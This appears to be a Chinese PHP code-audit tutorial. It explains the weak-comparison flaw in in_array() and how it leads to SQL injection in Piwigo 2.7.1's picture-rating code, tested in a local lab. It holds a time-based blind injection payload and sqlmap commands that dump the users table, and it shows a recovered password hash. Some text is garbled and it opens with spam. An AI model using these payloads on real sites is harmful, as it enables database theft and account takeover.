有个网站叫设计什么,网站建设过程中要怎么打开速度,怎么做一个公众号,合肥网站制作方案php代码审计2 piwigo CMS in_array()函数漏洞
一、目的
本次学习目的是了解in_array()函数和对项目piwigo中关于in_array()函数存在漏洞的一个审计并利用漏洞获得管理员帐号。
二、in_array函数学习
in_array() 函数搜索数组中是否存在指定的值。
in_array($search,$array…php代码审计2 piwigo CMS in_array()函数漏洞
一、目的
本次学习目的是了解in_array()函数和对项目piwigo中关于in_array()函数存在漏洞的一个审计并利用漏洞获得管理员帐号。
二、in_array函数学习
in_array() 函数搜索数组中是否存在指定的值。
in_array($search,$array,type) return bool其中第一个参数$search为待搜索的值$array为被搜索的数组第三个参数决定是否进行类型比较。
第三个类型默认为false即不考虑类型是否相同。
$b array(1,2,3,4);
//$c1;
$c1dsfa;
if(in_array($c,$b)){echo brc在b中;
}else{echo brc不在b中;
}
//c在b中关键在于该函数第三个参数如果为false或者不设置那么它就不会比较类型会自己将字符串转换数字会构成漏洞。
三、 CMS piwigo审计实战
这里复盘红日安全对piwigo的代码审计
Piwigo 是一个开源的网络相册管理软件专为组织、团队和个人设计。自2002年诞生以来Piwigo 已经支持了超过22年的用户并且一直在不断进化。Piwigo 的特点包括高容量照片分类、可持续性、开源性以及丰富的插件和主题支持。它可以帮助用户轻松地管理、组织和分享他们的照片。
本次实例分析我们选取的是 piwigo2.7.1 版本。该版本由于SQL语句直接拼接 r a t e ∗ ∗ 变量而 ∗ ∗ rate** 变量而 ** rate∗∗变量而∗∗rate 变量也仅是用 in_array() 函数简单处理并未使用第三个参数进行严格匹配最终导致sql注入漏洞发生。
3.1 安装piwigo
这里是使用phpstudy搭建环境php版本是5.3.29,mysql版本是5.5.29
注意如果是php版本是7以上会报错
安装piwigo下载地址https://download.csdn.net/download/m0_53073183/90308961
安装步骤
将下载后的piwigo文件夹放到www文件夹下创建一个数据库piwigo,用户名为piwigo密码123456访问localhost/piwigo,会自动跳转到安装页面按照步骤提示输入信息安装完成
3.2 漏洞分析
下面我们来看看具体的漏洞位置。漏洞的入口文件在根目录下的picture.php 中具体代码如下
//picture.php
if (isset($_GET[action]))
{switch ($_GET[action]){case add_to_favorites :{$query
INSERT INTO .FAVORITES_TABLE.(image_id,user_id)VALUES(.$page[image_id].,.$user[id].)
;;pwg_query($query);redirect($url_self);break;......中间省略.......case rate :{include_once(PHPWG_ROOT_PATH.include/functions_rate.inc.php);rate_picture($page[image_id], $_POST[rate]);redirect($url_self);}当 $_GET[‘action’] 为 rate 的时候这里直接使用post方式传递rate参数并调用文件 include/functions_rate.inc.php 中的 rate_picture 方法我们跳转到functions_rate.inc.php查看rate_picture 方法发现其使用 in_array() 函数对 $rate 变量进行检测判断 $rate 是否在 $conf[‘rate_items’] 中**$conf[‘rate_items’]**的内容可以在 include\config_default.inc.php 中找到为 $conf[rate_items] array(0,1,2,3,4,5);
//config_default.inc.php........// rate_items: available rates for a picture
$conf[rate_items] array(0,1,2,3,4,5);//functions_rate.inc.php......function rate_picture($image_id, $rate)
{global $conf, $user;if (!isset($rate)or !$conf[rate]or !in_array($rate, $conf[rate_items])){return false;}。。。中间省略$query //下面sql语句中的RATE_TABLE为数据库中的piwigo_rate表
INSERTINTO .RATE_TABLE. (user_id,anonymous_id,element_id,rate,date)VALUES(.$user[id].,.\.$anonymous_id.\,.$image_id.,.$rate.,NOW())
;;pwg_query($query);而漏洞便存在这个方法中,由于该方法中并没有将 in_array() 函数的第三个参数设置为 true 所以会进行弱比较可以绕过。比如我们将 $rate 的值设置成 1,1 and if(ascii(substr((select database()),1,1))112,1,sleep(3)));# 那么SQL语句就变成
INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,192.168.2,1,1,1 and if(ascii(substr((select database()),1,1))112,1,sleep(3)));#,NOW()) ;这样就可以进行盲注了如果上面的代码你看的比较乱的话可以看下面简化后的代码
?php$conf[rate_items] array(0,1,2,3,4,5);
$rate $_POST[rate];
function rate_picture($image_id, $rate)
{global $conf;if (!isset($rate)or !$conf[rate]or !in_array($rate, $conf[rate_items])) {return false;}//下面sql语句中的RATE_TABLE为数据库中的piwigo_rate表$query INSERT INTO .RATE_TABLE. (user_id,anonymous_id,element_id,rate,date) VALUES(.$user[id]., .\.$anonymous_id.\, .$image_id., .$rate .,NOW());;pwg_query($query);
}3.3 漏洞利用
接下来我们直接用sqlmap进行验证我们需要通过get方式传入actionrate,通过post方式传入rate1(rate值可以传入012345)我们先随便在功能页面上传两张图片
![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/c03c9145a4b4478ab72d10825be88b56.jpeg#pic_center
然后打开url
http://192.168.3.8/piwigo/picture.php?/2/category/2可以看到查看图片页面 使用sqlmap构造payload:
sqlmap -u http://192.168.3.8/piwigo/picture.php?/2/category/2actionrate --data rate1 --dbs --batch由于是时间盲注需要等待一段时间得到数据库名piwigo 进一步获取用户名
sqlmap -u http://192.168.3.8/piwigo/picture.php?/2/category/2actionrate --data rate1 -D piwigo --users --batch得到user名为piwigo 获取所有的表,因为获取时间过长,不再展示
sqlmap -u http://192.168.3.8/piwigo/picture.php?/2/category/2actionrate --data rate1 -D piwigo --columns --batch获取piwigo_users表中的数据
sqlmap -u http://192.168.3.8/piwigo/picture.php?/2/category/2actionrate --data rate1 -D piwigo -T piwigo_users --dump --batch得到字段为id , username,password,mail_address 得到username为piwigo,密码为密文e10adc3949ba59abbe56e057f20f883e 密文为md5加密 其他内容因为获取时间过长不再一一测试!